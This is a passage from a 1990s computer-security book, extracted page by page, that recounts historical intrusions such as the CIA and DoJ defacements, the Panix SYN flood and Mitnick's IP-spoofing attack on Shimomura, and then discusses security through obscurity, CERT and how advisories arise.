XENIX can be found at \nhttp://www.radium.ncsc.mil/tpep/epl/entries/CSC-EPL-92-001-\nA.html \n \nIf you examine the listing closely, you will be astonished. TIS Trusted XENIX is indeed \non the EPL. It is therefore endorsed and cleared as a safe system, one that meets the \ngovernment's guidelines (as of September 1993). However, examine even more closely \nthe platforms on which this product has been cleared. Here are a few: \n• \nAST 386/25 and Premium 386/33 \n• \nHP Vectra 386 \n• \nNCR PC386sx \n• \nZenith Z-386/33 \nThese architectures are ancient. They are so old that no one would actually use them, \nexcept perhaps as a garage hacking project on a nice Sunday afternoon (or perhaps if they \nwere legacy systems that housed software or other data that was irreplaceable). In other \nwords, by the time products reach the EPL, they are often pathetically obsolete. (The \nevaluation process is lengthy and expensive not only for the vendor, but for the American \npeople, who are footing the bill for all this.) Therefore, you can conclude that much of the \nDoD's equipment, software, and security procedures are likewise obsolete. \nNow, add the question of internal education. Are Defense personnel trained in (and \nimplementing) the latest security techniques? No. Again, quoting the GAO report: \nDefense officials generally agreed that user awareness training was needed, but stated that \ninstallation commanders do not always understand computer security risk and thus, do not always \ndevote sufficient resources to the problem. \nHigh-Profile Cases \nLack of awareness is pervasive, extending far beyond the confines of a few isolated \nDefense sites. It is a problem that affects many federal agencies throughout the country. \nEvidence of it routinely appears on the front pages of our nation's most popular \nnewspapers. Indeed, some very high-profile government sites were cracked in 1996, \nincluding the Central Intelligence Agency (CIA) and the Department of Justice (DoJ). \n• \nIn the CIA case, a cracker seized control on September 18, 1996, replacing the welcome banner \nwith one that read The Central Stupidity Agency. Accompanying this were links to a hacker group \nin Scandinavia. \n" }, { "page_number": 52, "text": " \n \n \nCross Reference: To see the CIA site in its hacked state, visit \nhttp://www.skeeve.net/cia/. \n \n \nNOTE: skeeve.net was one of many sites that preserved the hacked CIA page, \nprimarily for historical purposes. It is reported that after skeeve.net put the hacked \nCIA page out for display, its server received hundreds of hits from government sites, \nincluding the CIA. Some of these hits involved finger queries and other snooping \nutilities. \n \n• \nIn the DoJ incident (Saturday, August 17, 1996), a photograph of Adolf Hitler was offered as the \nAttorney General of the United States. \n \nCross Reference: The DoJ site, in its hacked state, can be viewed at http://river-\ncity.clever.net/hacked/doj/. \n \nAs of this writing, neither case has been solved; most likely, neither will ever be. Both \nare reportedly being investigated by the FBI. \nTypically, government officials characterize such incidents as rare. Just how rare are \nthey? Not very. In the last year, many such incidents have transpired: \n• \nDuring a period spanning from July, 1995 to March 1996, a student in Argentina compromised \nkey sites in the United States, including those maintained by the Armed Forces and NASA. \n• \nIn August, 1996, a soldier at Fort Bragg reportedly compromised an \"impenetrable\" military \ncomputer system and widely distributed passwords he obtained. \n• \nIn December, 1996, hackers seized control of a United States Air Force site, replacing the site's \ndefense statistics with pornography. The Pentagon's networked site, DefenseLINK, was shut down \nfor more than 24 hours as a result. \nThe phenomenon was not limited to federal agencies. In October, 1996, the home page of \nthe Florida State Supreme Court was cracked. Prior to its cracking, the page's intended \nuse was to distribute information about the court, including text reproductions of recent \ncourt decisions. The crackers removed this information and replaced it with pornography. \nIronically, the Court subsequently reported an unusually high rate of hits. \nIn 1996 alone, at least six high-profile government sites were cracked. Two of these (the \nCIA and FBI) were organizations responsible for maintaining departments for \ninformation warfare or computer crime. Both are charged with one or more facets of \nnational security. What does all this mean? Is our national security going down the tubes? \nIt depends on how you look at it. \nIn the CIA and FBI cases, the cracking activity was insignificant. Neither server held \nvaluable information, and the only real damage was to the reputation of their owners. \nHowever, the Rome, New York case was far more serious (as was the case at Fort \nBragg). Such cases demonstrate the potential for disaster. \n" }, { "page_number": 53, "text": " \n \nThere is a more frightening aspect to this: The sites mentioned previously were WWW \nsites, which are highly visible to the public. Therefore, government agencies cannot hide \nwhen their home pages have been cracked. But what about when the crack involves some \nother portion of the targeted system (a portion generally unseen by the public)? It's likely \nthat when such a crack occurs, the press is not involved. As such, there are probably \nmany more government cracks that you will never hear about. \nTo be fair, the U.S. government is trying to keep up with the times. In January 1997, a \nreporter for Computerworld magazine broke a major story concerning Pentagon efforts to \nincrease security. Apparently, the Department of Defense is going to establish its own \ntiger team (a group of individuals whose sole purpose will be to attack DoD computers). \nSuch attacks will reveal key flaws in DoD security. \nOther stories indicate that defense agencies have undertaken new and improved \ntechnologies to protect computers holding data vital to national security. However, as \nreported by Philip Shenon, a prominent technology writer for the New York Times: \nWhile the Pentagon is developing encryption devices that show promise in defeating computer \nhackers, the accounting office, which is the investigative arm of Congress, warned that none of the \nproposed technical solutions was foolproof, and that the military's current security program was \n`dated, inconsistent and incomplete.' \nThe Pentagon's activity to develop devices that \"show promise in defeating computer \nhackers\" appears reassuring. From this, one could reasonably infer that something is \nbeing done about the problem. However, the reality and seriousness of the situation is \nbeing heavily underplayed. \nIf Defense and other vital networks cannot defend against domestic attacks from \ncrackers, there is little likelihood that they can defend from hostile foreign powers. I \nmade this point earlier in the chapter, but now I want to expand on it. \nCan the United States Protect the National Information Infrastructure? \nThe United States cannot be matched by any nation for military power. We have \nsufficient destructive power at our disposal to eliminate the entire human race. So from a \nmilitary standpoint, there is no comparison between the United States and even a handful \nof third-world nations. The same is not true, however, in respect to information warfare. \nThe introduction of advanced minicomputers has forever changed the balance of power in \ninformation warfare. The average Pentium processor now selling at retail computer \nchains throughout the country is more powerful than many mainframes were five years \nago (it is certainly many times faster). Add the porting of high-performance UNIX-based \noperating systems to the IBM platform, and you have an entirely new environment. \nA third-world nation could pose a significant threat to our national information \ninfrastructure. Using the tools described previously (and some high-speed connections), a \nthird-world nation could effectively wage a successful information warfare campaign \nagainst the United States at costs well within their means. In fact, it is likely that within \nthe next few years, we'll experience incidents of bona-fide cyberterrorism. \n" }, { "page_number": 54, "text": " \n \nTo prepare for the future, more must be done than simply allocating funds. The federal \ngovernment must work closely with security organizations and corporate entities to \nestablish new and improved standards. If the new standards do not provide for quicker \nand more efficient means of implementing security, we will be faced with very dire \ncircumstances. \nWho Holds the Cards? \nThis (not legitimate security tools such as SATAN) is the problem: Thirty years ago, the \nU.S. government held all the cards with respect to technology. The average U.S. citizen \nheld next to nothing. Today, the average American has access to very advanced \ntechnology. In some instances, that technology is so advanced that it equals technology \ncurrently possessed by the government. Encryption technology is a good example. \nMany Americans use encryption programs to protect their data from others. Some of \nthese encryption programs (such as the very famous utility PGP, created by Phil \nZimmermann) produce military-grade encryption. This level of encryption is sufficiently \nstrong that U.S. intelligence agencies cannot crack it (at least not within a reasonable \namount of time, and often, time is of the essence). \nFor example, suppose one individual sends a message to another person regarding the \ndate on which they will jointly blow up the United Nations building. Clearly, time is of \nthe essence. If U.S. intelligence officials cannot decipher this message before the date of \nthe event, they might as well have not cracked the message at all. \nThis principle applies directly to Internet security. Security technology has trickled down \nto the masses at an astonishing rate. Crackers (and other talented programmers) have \ntaken this technology and rapidly improved it. Meanwhile, the government moves along \nmore slowly, tied down by restrictive and archaic policies. This has allowed the private \nsector to catch up (and even surpass) the government in some fields of research. \nThis is a matter of national concern. Many grass-roots radical cracker organizations are \nenthralled with these circumstances. They often heckle the government, taking pleasure \nin the advanced knowledge that they possess. These are irresponsible forces in the \nprogramming community, forces that carelessly perpetuate the weakening of the national \ninformation infrastructure. Such forces should work to assist and enlighten government \nagencies, but they often do not, and their reasons are sometimes understandable. \nThe government has, for many years, treated crackers and even hackers as criminals of \nhigh order. As such, the government is unwilling to accept whatever valuable information \nthese folks have to offer. Communication between these opposing forces is almost always \nnegative. Bitter legal disputes have developed over the years. Indeed, some very \nlegitimate security specialists have lost time, money, and dignity at the hands of the U.S. \ngovernment. On more than one occasion, the government was entirely mistaken and \nruined (or otherwise seriously disrupted) the lives of law-abiding citizens. In the next \nchapter, I will discuss a few such cases. Most arise out of the government's poor \nunderstanding of the technology. \n" }, { "page_number": 55, "text": " \n \nNew paths of communication should be opened between the government and those in \npossession of advanced knowledge. The Internet marginally assists in this process, \nusually through devices such as mailing lists and Usenet. However, there is currently no \nconcerted effort to bring these opposing forces together on an official basis. This is \nunfortunate because it fosters a situation where good minds in America remain pitted \nagainst one another. Before we can effectively defend our national information \ninfrastructure, we must come to terms with this problem. For the moment, we are at war \nwith ourselves. \nThe Public Sector \nI realize that a category such as the public sector might be easily misunderstood. To \nprevent that, I want to identify the range of this category. Here, the public sector refers to \nany entity that is not a government, an institution, or an individual. Thus, I will be \nexamining companies (public and private), Internet service providers, organizations, or \nany other entity of commercial or semi-commercial character. \nBefore forging ahead, one point should be made: Commercial and other public entities do \nnot share the experience enjoyed by government sites. In other words, they have not yet \nbeen cracked to pieces. Only in the past five years have commercial entities flocked to \nthe Internet. Therefore, some allowances must be made. It is unreasonable to expect these \nfolks to make their sites impenetrable. Many are smaller companies and for a moment, I \nwant to address these folks directly: You, more than any other group, need to acquire \nsound security advice. \nSmall companies operate differently from large ones. For the little guy, cost is almost \nalways a strong consideration. When such firms establish an Internet presence, they \nusually do so either by using in-house technical personnel or by recruiting an Internet \nguru. In either case, they are probably buying quality programming talent. However, what \nthey are buying in terms of security may vary. \nLarge companies specializing in security charge a lot of money for their services. Also, \nmost of these specialize in UNIX security. So, small companies seeking to establish an \nInternet presence may avoid established security firms. First, the cost is a significant \ndeterrent. Moreover, many small companies do not use UNIX. Instead, they may use \nNovell NetWare, LANtastic, Windows NT, Windows 95, and so forth. \nThis leaves small businesses in a difficult position. They must either pay high costs or \ntake their programmers' word that the network will be secure. Because such small \nbusinesses usually do not have personnel who are well educated in security, they are at \nthe mercy of the individual charged with developing the site. That can be a very serious \nmatter. \nThe problem is many \"consultants\" spuriously claim to know all about security. They \nmake these claims when, in fact, they may know little or nothing about the subject. \nTypically, they have purchased a Web-development package, they generate attractive \nWeb pages, and know how to set up a server. Perhaps they have a limited background in \nsecurity, having scratched the surface. They take money from their clients, rationalizing \n" }, { "page_number": 56, "text": " \n \nthat there is only a very slim chance that their clients' Web servers will get hacked. For \nmost, this works out well. But although their clients' servers never get hacked, the servers \nmay remain indefinitely in a state of insecurity. \nCommercial sites are also more likely to purchase one or two security products and call it \na day. They may pay several thousand dollars for an ostensibly secure system and leave it \nat that, trusting everything to that single product. \nFor these reasons, commercial sites are routinely cracked, and this trend will probably \ncontinue. Part of the problem is this: There is no real national standard on security in the \nprivate sector. Hence, one most often qualifies as a security specialist through hard \nexperience and not by virtue of any formal education. It is true that there are many \ncourses available and even talks given by individuals such as Farmer and Venema. These \nresources legitimately qualify an individual to do security work. However, there is no \nsingle piece of paper that a company can demand that will ensure the quality of the \nsecurity they are getting. \nBecause these smaller businesses lack security knowledge, they become victims of \nunscrupulous \"security specialists.\" I hope that this trend will change, but I predict that \nfor now, it will only become more prevalent. I say this for one reason: Despite the fact \nthat many thousands of American businesses are now online, this represents a mere \nfraction of commercial America. There are millions of businesses that have yet to get \nconnected. These millions are all new fish, and security charlatans are lined up waiting to \ncatch them. \nThe Public Sector Getting Cracked \nIn the last year, a series of commercial sites have come under attack. These attacks have \nvaried widely in technique. Earlier in this chapter, I defined some of those techniques and \nthe attending damage or interruption of service they cause. Here, I want to look at cases \nthat more definitively illustrate these techniques. Let's start with the recent attack on \nPanix.com. \nPanix.com \nPanix.com (Public Access Networks Corporation) is a large Internet service provider \n(ISP) that provides Internet access to several hundred thousand New York residents. On \nSeptember 6, 1996, Panix came under heavy attack from the void. \nThe Panix case was very significant because it demonstrates a technique known as the \nDenial of Service (DoS) attack. This type of attack does not involve an intruder gaining \naccess. Instead, the cracker undertakes remote procedures that render a portion (or \nsometimes all) of a target inoperable. \nThe techniques employed in such an attack are simple. As you will learn in Chapter 6, \"A \nBrief Primer on TCP/IP,\" connections over the Internet are initiated via a procedure \ncalled the three-part handshake. In this process, the requesting machine sends a packet \nrequesting connection. The target machine responds with an acknowledgment. The \nrequesting machine then returns its own acknowledgment and a connection is established. \n" }, { "page_number": 57, "text": " \n \nIn a syn_flooder attack, the requesting (cracker's) machine sends a series of connection \nrequests but fails to acknowledge the target's response. Because the target never receives \nthat acknowledgment, it waits. If this process is repeated many times, it renders the \ntarget's ports useless because the target is still waiting for the response. These connection \nrequests are dealt with sequentially; eventually, the target will abandon waiting for each \nsuch acknowledgment. Nevertheless, if it receives tens or even hundreds of these \nrequests, the port will remain engaged until it has processed--and discarded--each \nrequest. \n \nNOTE: The term syn_flooder is derived from the activity undertaken by such tools. The \nTCP/IP three-way handshake is initiated when one machine sends another a SYN packet. \nIn a typical flooding attack, a series of these packets are forwarded to a target, purporting \nto be from an address that is nonexistent. The target machine therefore cannot resolve the \nhost. In any event, by sending a flurry of these SYN packets, one is flooding the target \nwith requests that cannot be fulfilled. \n \nSyn_flooder attacks are common, but do no real damage. They simply deny other users \naccess to the targeted ports temporarily. In the Panix case, though, temporarily was a \nperiod lasting more than a week. \nSyn_flooders are classified in this book as destructive devices. They are covered \nextensively in Chapter 14, \"Destructive Devices.\" These are typically small programs \nconsisting of two hundred lines of code or fewer. The majority are written in the C \nprogramming language, but I know of at least one written in BASIC. \nCrack dot Com \nISPs are popular targets for a variety of reasons. One reason is that crackers use such \ntargets as operating environments or a home base from which to launch attacks on other \ntargets. This technique assists in obscuring the identity of the attacker, an issue we will \ndiscuss. However, DoS attacks are nothing special. They are the modern equivalent of \nringing someone's telephone repeatedly to keep the line perpetually engaged. There are \nfar more serious types of cracks out there. Just ask Crack dot Com, the manufacturers of \nthe now famous computer game Quake. \nIn January, 1997, crackers raided the Crack dot Com site. Reportedly, they cracked the \nWeb server and proceeded to chip away at the firewall from that location. After breaking \nthrough the firewall, the crackers gained carte-blanche access to the internal file server. \nFrom that location, they took the source code for both Quake and a new project called \nGolgotha. They posted this source code on the Net. \n \nNOTE: For those of you who are not programmers, source code is the programming \ncode of an application in its raw state. This is most often in human-readable form, usually \nin plain English. After all testing of the software is complete (and there are no bugs \nwithin it), this source code is sent a final time through a compiler. Compilers interpret the \nsource code and from it fashion a binary file that can be executed on one or more \nplatforms. In short, source code can be though of as the very building blocks of a \nprogram. In commercial circles, source code is jealously guarded and aggressively \n" }, { "page_number": 58, "text": " \n \nproclaimed as proprietary material. For someone to take that data from a server and post \nit indiscriminately to the Internet is probably a programmer's worst nightmare. \n \nFor Crack dot Com, the event could have far-reaching consequences. For example, it's \npossible that during the brief period that the code was posted on the Net, its competitors \nmay have obtained copies of (at least some of) the programming routines. In fact, the \ncrackers could have approached those competitors in an effort to profit from their \nactivities. This, however, is highly unlikely. The crackers' pattern of activity suggests that \nthey were kids. For example, after completing the crack, they paraded their spoils on \nInternet Relay Chat. They also reportedly left behind a log (a recording of someone's \nactivity while connected to a given machine). The Crack dot Com case highlights the \nseriousness of the problem, however. \nKriegsman Furs \nAnother interesting case is that of Kriegsman Furs of Greensborough, North Carolina. \nThis furrier's Web site was cracked by an animal-rights activist. The cracker left behind a \nvery strong message, which I have reproduced in part: \nToday's consumer is completely oblivious to what goes on in order for their product to arrive at \nthe mall for them to buy. It is time that the consumer be aware of what goes on in many of today's \nbig industries. Most importantly, the food industries. For instance, dairy cows are injected with a \nchemical called BGH that is very harmful to both humans and the cows. This chemical gives the \ncows bladder infections. This makes the cows bleed and guess what? It goes straight in to your \nbowl of cereal. Little does the consumer know, nor care. The same kind of thing goes on behind \nthe back of fur wearers. The chemicals that are used to process and produce the fur are extremely \nbad for our earth. Not only that, but millions of animals are slaughtered for fur and leather coats. I \ndid this in order to wake up the blind consumers of today. Know the facts. \nFollowing this message were a series of links to animal-rights organizations and \nresources. \nKevin Mitnik \nPerhaps the most well-known case of the public sector being hacked, however, is the \n1994/1995 escapades of famed computer cracker Kevin Mitnik. Mitnik has been gaining \nnotoriety since his teens, when he cracked the North American Aerospace Defense \nCommand (NORAD). The timeline of his life is truly amazing, spanning some 15 years \nof cracking telephone companies, defense sites, ISPs, and corporations. Briefly, some of \nMitnik's previous targets include \n• \nPacific Bell, a California telephone company \n• \nThe California Department of Motor Vehicles \n• \nA Pentagon system \n• \nThe Santa Cruz Operation, a software vendor \n• \nDigital Equipment Corporation \n" }, { "page_number": 59, "text": " \n \n• \nTRW \nOn December 25, 1994, Mitnik reportedly cracked the computer network of Tsutomu \nShimomura, a security specialist at the San Diego Supercomputer Center. What followed \nwas a press fiasco that lasted for months. The case might not have been so significant \nwere it not for three factors: \n• \nThe target was a security specialist who had written special security tools not available to the \ngeneral public. \n• \nThe method employed in the break-in was extremely sophisticated and caused a stir in security \ncircles. \n• \nThe suspicion was, from the earliest phase of the case, that Mitnik (then a wanted man) was \ninvolved in the break-in. \nFirst, Shimomura, though never before particularly famous, was known in security \ncircles. He, more than anyone, should have been secure. The types of tools he was \nreportedly developing would have been of extreme value to any cracker. Moreover, \nShimomura has an excellent grasp of Internet security. When he got caught with his pants \ndown (as it were), it was a shock to many individuals in security. Naturally, it was also a \ndelight to the cracker community. For some time afterward, the cracking community was \nenthralled by the achievement, particularly because Shimomura had reportedly assisted \nvarious federal agencies on security issues. Here, one of the government's best security \nadvisors had been cracked to pieces by a grass-roots outlaw (at least, that was the hype \nsurrounding the case). \nSecond, the technique used, now referred to as IP spoofing, was complex and not often \nimplemented. IP spoofing is significant because it relies on an exchange that occurs \nbetween two machines at the system level. Normally, when a user attempts to log in to a \nmachine, he or she is issued a login prompt. When the user provides a login ID, a \npassword prompt is given. The user issues his or her password and logs in (or, he or she \ngives a bad or incorrect password and does not log in). Thus, Internet security breaches \nhave traditionally revolved around getting a valid password, usually by obtaining and \ncracking the main password file. \nIP spoofing differs from this radically. Instead of attempting to interface with the remote \nmachine via the standard procedure of the login/password variety, the IP-spoofing \ncracker employs a much more sophisticated method that relies in part on trust. Trust is \ndefined and referred to in this book (unless otherwise expressly stated) as the \"trust\" that \noccurs between two machines that identify themselves to one another via IP addresses. \nIn IP spoofing, a series of things must be performed before a successful break-in can be \naccomplished: \n• \nOne must determine the trust relationships between machines on the target network. \n• \nOne must determine which of those trust relationships can be exploited (that is, which of those \nmachines is running an operating system susceptible to spoofing). \n" }, { "page_number": 60, "text": " \n \n• \nOne must exploit the hole. \n(Be mindful that this brief description is bare bones. I treat this subject extensively in its \nown chapter, Chapter 28, \"Spoofing Attacks.\") \nIn the attack, the target machine trusted the other. Whenever a login occurred between \nthese two machines, it was authenticated through an exchange of numbers. This number \nexchange followed a forward/challenge scenario. In other words, one machine would \ngenerate a number to which the other must answer (also with a number). The key to the \nattack was to forge the address of the trusted machine and provide the correct responses \nto the other machine's challenges. And, reportedly, that is exactly what Mitnik did. \nIn this manner, privileged access is gained without ever passing a single password or \nlogin ID over the network. All exchanges happen deep at the system level, a place where \nhumans nearly never interact with the operating system. \nCuriously, although this technique has been lauded as new and innovative, it is actually \nquite antiquated (or at least, the concept is quite antiquated). It stems from a security \npaper written by Robert T. Morris in 1985 titled A Weakness in the 4.2BSD UNIX TCP/IP \nSoftware. In this paper, Morris (then working for AT&T Bell Laboratories) concisely \ndetails the ingredients to make such an attack successful. Morris opens the paper with this \nstatement: \nThe 4.2 Berkeley Software Distribution of the UNIX operating system (4.2BSD for short) features \nan extensive body of software based on the \"TCP/IP\" family of protocols. In particular, each \n4.2BSD system \"trusts\" some set of other systems, allowing users logged into trusted systems to \nexecute commands via a TCP/IP network without supplying a password. These notes describe \nhow the design of TCP/IP and the 4.2BSD implementation allow users on untrusted and possibly \nvery distant hosts to masquerade as users on trusted hosts. Bell Labs has a growing TCP/IP \nnetwork connecting machines with varying security needs; perhaps steps should be taken to reduce \ntheir vulnerability to each other. \nMorris then proceeds to describe such an attack in detail, some ten years before the first \nwidely reported instance of such an attack had occurred. One wonders whether Mitnik \nhad seen this paper (or even had it sitting on his desk whilst the deed was being done). \nIn any event, the break-in caused a stir. The following month, the New York Times \npublished an article about the attack. An investigation resulted, and Shimomura was \nclosely involved. Twenty days later, Shimomura and the FBI tracked Mitnik to an \napartment in North Carolina, the apparent source of the attack. The case made national \nnews for weeks as the authorities sorted out the evidence they found at Mitnik's abode. \nAgain, America's most celebrated computer outlaw was behind bars. \nIn my view, the case demonstrates an important point, the very same point we started \nwith at the beginning of this chapter: As long as they are connected to the Net, anyone \ncan be cracked. Shimomura is a hacker and a good one. He is rumored to own 12 \nmachines running a variety of operating systems. Moreover, Shimomura is a talented \ntelephone phreak (someone skilled in manipulating the technology of the telephone \nsystem and cellular devices). In essence, he is a specialist in security. If he fell victim to \nan attack of this nature, with all the tools at his disposal, the average business Web site is \nwide open to assault over the Internet. \n" }, { "page_number": 61, "text": " \n \n \nIn defense of Shimomura: Many individuals in security defend Shimomura. They \nearnestly argue that Shimomura had his site configured to bait crackers. In Chapter 26, \n\"Levels of Attack,\" you will learn that Shimomura was at least marginally involved in \nimplementing this kind of system in conjunction with some folks at Bell Labs. However, \nthis argument in Shimomura's defense is questionable. For example, did he also intend to \nallow these purportedly inept crackers to seize custom tools he had been developing? If \nnot, the defensive argument fails. Sensitive files were indeed seized from Shimomura's \nnetwork. Evidence of these files on the Internet is now sparse. No doubt, Shimomura has \ntaken efforts to hunt them down. Nevertheless, I have personally seen files that Mitnik \nreportedly seized from many networks, including Netcom. Charles Platt, in his scathing \nreview of Shimomura's book Takedown, offers a little slice of reality: \nKevin Mitnick...at least he shows some irreverence, taunting Shimomura \nand trying to puncture his pomposity. At one point, Mitnick bundles up all \nthe data he copied from Shimomura's computer and saves it onto the \nsystem at Netcom where he knows that Shimomura will find it....Does \nShimomura have any trouble maintaining his dignity in the face of these \npranks? No trouble at all. He writes: \"This was getting personal. ... none of \nus could believe how childish and inane it all sounded.\" \nIt is difficult to understand why Shimomura would allow crackers (coming \nrandomly from the void) to steal his hard work and excellent source code. \nMy opinion (which may be erroneous) is that Shimomura did indeed have \nhis boxes configured to bait crackers; he simply did not count on anyone \ncutting a hole through that baited box to his internal network. In other \nwords, I believe that Shimomura (who I readily admit is a brilliant \nindividual) got a little too confident. There should have been no \nrelationship of trust between the baited box and any other workstation. \n \n \nCross Reference: Charles Platt's critique of Takedown, titled A Circumlocuitous review \nof Takedown by Tsutomu Shimomura and John Markoff, can be found at \nhttp://rom.oit.gatech.edu/~willday/mitnick/takedown.review.h\ntml. \n \nSummary \nThese cases are all food for thought. In the past 20 or so years, there have been several \nthousand such cases (of which we are aware). The military claims that it is attacked over \n250,000 times a year. Estimates suggest it is penetrated better than half of the time. It is \nlikely that no site is entirely immune. (If such a site exists, it is likely AT&T Bell \nLaboratories; it probably knows more about network security than any other single \norganization on the Internet.) \nAll this having been established, I'd like to get you started. Before you can understand \nhow to hack (or crack), however, you must first know a bit about the network. Part II of \nthis book, \"Understanding the Terrain,\" deals primarily with the Internet's development \nand design. \n" }, { "page_number": 62, "text": " \n \n5 \nIs Security a Futile Endeavor? \nSince Paul Baran first put pen to paper, Internet security has been a concern. Over the \nyears, security by obscurity has become the prevailing attitude of the computing \ncommunity. \n• \nSpeak not and all will be well. \n• \nHide and perhaps they will not find you. \n• \nThe technology is complex. You are safe. \nThese principles have not only been proven faulty, but they also go against the original \nconcepts of how security could evolve through discussion and open education. Even at \nthe very birth of the Internet, open discussion on standards and methodology was strongly \nsuggested. It was felt that this open discussion could foster important advances in the \ntechnology. Baran was well aware of this and articulated the principle concisely when, in \nThe Paradox of the Secrecy About Secrecy: The Assumption of A Clear Dichotomy \nBetween Classified and Unclassified Subject Matter, he wrote: \nWithout the freedom to expose the system proposal to widespread scrutiny by clever minds of \ndiverse interests, is to increase the risk that significant points of potential weakness have been \noverlooked. A frank and open discussion here is to our advantage. \nSecurity Through Obscurity \nSecurity through obscurity has been defined and described in many different ways. One \nrather whimsical description, authored by a student named Jeff Breidenbach in his lively \nand engaging paper, Network Security Throughout the Ages, appears here: \nThe Net had a brilliant strategy called \"Security through Obscurity.\" Don't let anyone fool you into \nthinking that this was done on purpose. The software has grown into such a tangled mess that \nnobody really knows how to use it. Befuddled engineers fervently hoped potential meddlers would \nbe just as intimidated by the technical details as they were themselves. \nMr. Breidenbach might well be correct about this. Nevertheless, the standardized \ndefinition and description of security through obscurity can be obtained from any archive \nof the Jargon File, available at thousands of locations on the Internet. That definition is \nthis: \nalt. 'security by obscurity' n. A term applied by hackers to most OS vendors' favorite way of \ncoping with security holes--namely, ignoring them, documenting neither any known holes nor the \nunderlying security algorithms, trusting that nobody will find out about them and that people who \ndo find out about them won't exploit them. \nRegardless of which security philosophy you believe, three questions remain constant: \n• \nWhy is the Internet insecure? \n" }, { "page_number": 63, "text": " \n \n• \nDoes it need to be secure? \n• \nCan it be secure? \nWhy Is the Internet Insecure? \nThe Internet is insecure for a variety of reasons, each of which I will discuss here in \ndetail. Those factors include \n• \nLack of education \n• \nThe Internet's design \n• \nProprietarism (yes, another ism) \n• \nThe trickling down of technology \n• \nHuman nature \nEach of these factors contributes in some degree to the Internet's current lack of security. \nLack of Education \nDo you believe that what you don't know can't hurt you? If you are charged with the \nresponsibility of running an Internet server, you had better not believe it. Education is the \nsingle, most important aspect of security, one aspect that has been sorely wanting. \nI am not suggesting that a lack of education exists within higher institutions of learning or \nthose organizations that perform security-related tasks. Rather, I am suggesting that \nsecurity education rarely extends beyond those great bastions of computer-security \nscience. \nThe Computer Emergency Response Team (CERT) is probably the Internet's best-known \nsecurity organization. CERT generates security advisories and distributes them \nthroughout the Internet community. These advisories address the latest known security \nvulnerabilities in a wide range of operating systems. CERT thus performs an extremely \nvaluable service to the Internet. The CERT Coordination Center, established by ARPA in \n1988, provides a centralized point for the reporting of and proactive response to all major \nsecurity incidents. Since 1988, CERT has grown dramatically, and CERT centers have \nbeen established at various points across the globe. \n \nCross Reference: You can contact CERT at its WWW page \n(http://www.cert.org). There resides a database of vulnerabilities, various \nresearch papers (including extensive documentation on disaster survivability), and links \nto other important security resources. \n \nCERT's 1995 annual report shows some very enlightening statistics. During 1995, CERT \nwas informed of some 12,000 sites that had experienced some form of network-security \nviolation. Of these, there were at least 732 known break-ins and an equal number of \nprobes or other instances of suspicious activity. \n" }, { "page_number": 64, "text": " \n \n \nCross Reference: You can access CERT's 1995 annual report at \nhttp://www.cert.org/cert.report.95.html. \n \n12,000 incidents with a reported 732 break-ins. This is so, even though the GAO report \nexamined earlier suggested that Defense computers alone are attacked as many as \n250,000 times each year, and Dan Farmer's security survey reported that over 60 percent \nof all critical sites surveyed were vulnerable to some technique of network security \nbreach. How can this be? Why aren't more incidents reported to CERT? \n \nCross Reference: Check out Dan Farmer's security survey at \nhttp://www.trouble.org/survey. \n \nIt might be because the better portion of the Internet's servers are now maintained by \nindividuals who have less-than adequate security education. Many system administrators \nhave never even heard of CERT. True, there are many security resources available on the \nInternet (many that point to CERT, in fact), but these may initially appear intimidating \nand overwhelming to those new to security. Moreover, many of the resources provide \nlinks to dated information. \nAn example is RFC 1244, the Site Security Handbook. At the time 1244 was written, it \ncomprised a collection of state-of-the-art information on security. As expressed in that \ndocument's editor's note: This FYI RFC is a first attempt at providing Internet users \nguidance on how to deal with security issues in the Internet. As such, this document is \nnecessarily incomplete. There are some clear shortfalls; for example, this document \nfocuses mostly on resources available in the United States. In the spirit of the Internet's \n`Request for Comments' series of notes, we encourage feedback from users of this \nhandbook. In particular, those who utilize this document to craft their own policies and \nprocedures. \nThis handbook is meant to be a starting place for further research and should be viewed as a useful \nresource, but not the final authority. Different organizations and jurisdictions will have different \nresources and rules. Talk to your local organizations, consult an informed lawyer, or consult with \nlocal and national law enforcement. These groups can help fill in the gaps that this document \ncannot hope to cover. \nFrom 1991 until now, the Site Security Handbook has been an excellent place to start. \nNevertheless, as Internet technology grows in leaps and bounds, such texts become \nrapidly outdated. Therefore, the new system administrator must keep up with the security \ntechnology that follows each such evolution. To do so is a difficult task. \n \nCross Reference: RFC 1244 is still a good study paper for a user new to security. It is \navailable at many places on the Internet. One reliable server is at \nhttp://www.net.ohio-state.edu/hypertext/rfc1244/toc.html. \n \nThe Genesis of an Advisory \nAdvisories comprise the better part of time-based security information. When these come \nout, they are immediately very useful because they usually relate to an operating system \n" }, { "page_number": 65, "text": " \n \nor popular application now widely in use. As time goes on, however, such advisories \nbecome less important because people move on to new products. In this process, vendors \nare constantly updating their systems, eliminating holes along the way. Thus, an advisory \nis valuable for a set period of time (although, to be fair, this information may stay \nvaluable for extended periods because some people insist on using older software and \nhardware, often for financial reasons). \nAn advisory begins with discovery. Someone, whether hacker, cracker, administrator, or \nuser, discovers a hole. That hole is verified, and the resulting data is forwarded to security \norganizations, vendors, or other parties deemed suitable. This is the usual genesis of an \nadvisory (a process explained in Chapter 2, \"How This Book Will Help You\"). \nNevertheless, there is another way that holes are discovered. \nOften, academic researchers discover a hole. An example, which you will review later, is \nthe series of holes found within the Java programming language. These holes were \nprimarily revealed--at least at first--by those at Princeton University's computer science \nlabs. When such a hole is discovered, it is documented in excruciating detail. That is, \nresearchers often author multipage documents detailing the hole, the reasons for it, and \npossible remedies. \n \nCross Reference: Java is a compiled language used to create interactive applications for \nuse on the World Wide Web. The language was created by efforts at Sun Microsystems. \nIt vaguely resembles C++. For more information about Java, visit the Java home page at \nhttp://java.sun.com/. \n \nThis information gets digested by other sources into an advisory, which is often no more \nthan 100 lines. By the time the average, semi-security literate user lays his or her hands \non this information, it is limited and watered-down. \nThus, redundancy of data on the Internet has its limitations. People continually rehash \nthese security documents into different renditions, often highlighting different aspects of \nthe same paper. Such digested revisions are available all over the Net. This helps \ndistribute the information, true, but leaves serious researchers hungry. They must hunt, \nand that hunt can be a struggle. For example, there is no centralized place to acquire all \nsuch papers. \nEqually, as I have explained, end-user documentation can be varied. Although there \nshould be, there is no 12-set volume (with papers by Farmer, Venema, Bellovin, \nSpafford, Morris, Ranum, Klaus, Muffet, and so on) about Internet security that you can \nacquire at a local library or bookstore. More often, the average bookstore contains brief \ntreatments of the subject (like this book, I suppose). \nCouple with these factors the mind-set of the average system administrator. A human \nbeing only has so much time. Therefore, these individuals absorb what they can on-the-\nfly, applying methods learned through whatever sources they encounter. \nThe Dissemination of 